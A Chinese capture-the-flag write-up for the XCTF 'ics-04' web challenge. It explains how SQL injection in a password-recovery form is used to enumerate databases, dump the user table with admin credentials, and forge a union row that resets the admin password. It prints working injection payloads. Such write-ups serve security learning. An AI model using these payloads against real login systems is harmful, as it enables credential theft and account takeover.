攻防世界ics-04解题思路

萝らか妹 提交于 2019-12-14 07:08:28

题目

攻防世界ics-04
工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag。

解题思路

打开题目提供的环境,发现整个页面只有注册、登录、找回密码功能是可以用的,尝试注册一个账户进行登录,提示普通用户登录成功,没什么用,可以猜测出题者的意图是让我们拿到管理员账号登录获得flag。
在这里插入图片描述
打开找回密码界面,随意输入一个用户名,发现界面上会提示没有这个用户,因此此处应该可以爆破用户名,但是如果用户名不是常见用户名就是白费体力了,先搁置。
在这里插入图片描述
在用户名输入框尝试SQL注入,发现注入成功,于是尝试从这里入手拿到用户密码。
在这里插入图片描述
构造SQL语句:' union select 1,2,group_concat(char(32,58,32),schema_name),4 from information_schema.schemata;#,可以列出所有的数据库名,发现题目用到的库是cetc004。
在这里插入图片描述
构造SQL语句:' union select 1,2,group_concat(char(32,58,32),column_name),4 from information_schema.columns where table_schema='cetc004' and table_name='user';#,可以列出user表中所有的字段。
在这里插入图片描述
直接列出user表中所有的数据:' union select 1,2,group_concat(char(32,58,32),username,',',password,',',question,',',answer),4 from cetc004.user;#,这里得到了管理员账号的用户名:c3tlwDmIn23,密码md5:2f8667f381ff50ced6a3edc259260ba9,密保问题:cetc,密保答案:cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds,。
在这里插入图片描述
但是尝试对密码md5进行解密时发现无法解密,而且进行重置密码时提示密保答案错误,因此到这里没有直接成功。
通过观察重置密码的http请求,发现总共是3个请求,而且不同用户名的cookie是不变的,猜测使用会话实现重置密码的功能,而会话是与用户名绑定的,因此我们可以构造一个SQL语句,使得查询出来的用户名是管理员的用户名,但是密保问题和答案是我们自己指定的,就可以成功重置密码了:' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','随意设置的问题','answer123333';#
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!